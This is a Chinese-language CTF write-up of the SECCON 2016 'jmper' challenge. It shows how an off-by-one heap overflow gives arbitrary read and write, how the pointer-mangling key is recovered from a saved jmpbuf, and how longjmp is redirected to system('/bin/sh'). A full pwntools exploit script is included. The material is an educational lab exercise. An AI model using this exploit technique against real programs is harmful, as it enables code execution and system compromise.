Pwn With longjmp
前言
这个是 seccon-ctf-quals-2016
的一个题,利用方式还是挺特殊的记录一下。
题目链接
http://t.cn/RnfeHLv
正文
首先看看程序的安全措施
haclh@ubuntu:~/workplace/jmper$ checksec jmper
[*] '/home/haclh/workplace/jmper/jmper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
开了 Full RELRO
, 所以不能修改 got
表了。
分配了两个大内存,一个作为一个全局表,用于存放程序中用的结构体指针, 一个作为 jmpbuf
, 用于在 longjmp
时跳转回来。
接下来就是 f
函数,程序主要的逻辑在这里面。
** Add student**
最多的可以创建 0x1d
个 student
, 如果已经创建满了的话就 longjmp
返回到 main
函数结束程序。创建时会分配两个堆内存。
结构体类型大概为
分配第一个 student
时的 内存布局为
** Name student**
输入 id
, 然后在 myclass
里面找到相应的地址,取出 name_ptr
,向里面写入内容,注意循环条件
for ( i = 0; i <= 0x20; ++i )
我们可以写入 0x21
个字节,我们分配的内存为 0x20
, 可以有 一字节的 溢出,不过这里我们不能控制 分配的大小以及 释放堆块, 无法使用 overlap-heap
利用。继续往下看。
Write memo
类似的操作,依旧可以溢出 memo
的 一个字节, 在 memo
后面存放的是 name_ptr
所以我们可以修改 name_ptr
的最低字节.
有一个小知识,如果内存分配的顺序大小不变,各个内存块相对于堆基地址的偏移是固定的,所以修改 name_ptr
的最低字节,我们可以使得 name_ptr
指向和 它距离较近的堆块。
这里的话直接修改为下一个堆块的 name_ptr
的地址, 然后利用 name student
就可以修改下一个堆块的 name_ptr
,再利用后面的 Show Name
功能就可以实现 任意地址读写。
以后通过
set_name(0, p64(addr))
getname(1)
就可以实现任意地址读
通过
set_name(0, p64(addr))
set_name(1, data)
就可以实现任意地址写
现在的问题是往哪写,写什么。
当新增的student
的人数到限制后,会调用longjmp
, 我们来看看 调用 longjmp
时做了什么
进入函数时 rdi
为 jmpbuf
的地址,可以看到,在 jmpbuf + 0x38
处存放了加密后的 rip
, 进入 longjmp
会先解密 出 rip
然后跳转。
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, fs:30h
jmpbuf
在堆中,如果我们可以 拿到 fs:30h
然后修改 jmpbuf + 0x38
,我们就可以控制执行流了。
longjmp
跳转的地址其实就是 调用 setjmp
的下一条指令(0x400C31)
又由于 xor
是可逆的,所以我们可以通过
mov rdx, [rdi+38h]
ror rdx, 11h
xor rdx, 0x400C31
得到 fs:30h
至于重新的加密 rip
的过程,可以看 setjmp
的实现
所以总的利用思路
- 利用
off-by-one
获取任意地址读写的能力 - 利用
student 2
的name_ptr
泄露堆地址 - 获取
jmpbuf + 0x38
的值,计算fs:30h
的值 - 重新计算值写入
jmpbuf + 0x38
, 同时往jmpbuf
开头写入 ``/bin/sh\x00
参考
https://github.com/ctfs/write-ups-2016/tree/master/seccon-ctf-quals-2016/exploit/cheer-msg-100
最后的 exp:
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info')
p = process("./jmper")
def ror(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[-count:] + ":::" + src[:64 - count])
return int(src[-count:] + src[:64 - count],2)
def rol(reg, count):
src = bin(reg)[2:]
src = "0" * (64 - len(src)) + src
# print(src)
# print(src[:count] + ":::" + src[count:])
# print(src[count:] + src[:count])
return int(src[count:] + src[:count],2)
def add():
p.recvuntil("Bye :)")
p.sendline("1")
def set_name(index, name):
p.recvuntil("Bye :)")
p.sendline("2")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input name:")
p.sendline(name)
def write_memo(index, data):
p.recvuntil("Bye :)")
p.sendline("3")
p.recvuntil("ID:")
p.sendline(str(index))
p.recvuntil("Input memo:")
p.sendline(data)
def getname(index):
p.recvuntil("Bye :)")
p.sendline("4")
p.recvuntil("ID:")
p.sendline(str(index))
gdb.attach(p,'''
# bp 0x0400B03
# bp __sigsetjmp
c
''')
pause()
add() # get stu 0
set_name(0, "/bin/sh\x00")
write_memo(0, "b"*8)
add() # get stu 1
set_name(1, "c"*8)
write_memo(1, "d"*8)
write_memo(0, "b"*32 + "\x78") # 设置 student0 的 name_ptr 指向 student1 的 name_ptr 的位置
log.info("此时 0's name_ptr--> 1's name_ptr的地址")
pause()
getname(0)
heap = u64(p.recv(3) + "\x00" * 5) - 656
log.info("heap的基地址: " + hex(heap))
pause()
set_name(0, p64(0x0601FA8+1))
log.info("1's name_ptr ---> printf@got+1")
pause()
getname(1)
printf_addr = u64("\x00" + p.recv(5) + "\x00" * 2)
libc = printf_addr - 350208
system = libc + 283536
longjmp = libc + 0x352F0
log.info("libc: " + hex(libc))
log.info("system: " + hex(system))
log.info("longjmp: " + hex(longjmp))
pause()
jmpbuf = heap + 0x110
saved_rip_addr = jmpbuf + 0x38
# 获取 saved_rip_addr 处的数据
set_name(0, p64(saved_rip_addr))
getname(1)
saved_rip = u64(p.recv(8))
xor_key = ror(saved_rip, 0x11) ^ 0x400C31
new_saved_rip = rol(system ^ xor_key, 0x11)
log.info("saved_rip: " + hex(saved_rip))
log.info("xor_key: " + hex(xor_key))
log.info("new saved_rip: " + hex(new_saved_rip) )
pause()
set_name(1,p64(new_saved_rip))
set_name(0, p64(jmpbuf))
set_name(1,"/bin/sh\x00")
log.info("set jmpbuf: /bin/sh\x00.....")
pause()
for x in xrange(0x1e - 2):
add()
log.info("call longjmp")
pause()
add()
p.interactive()
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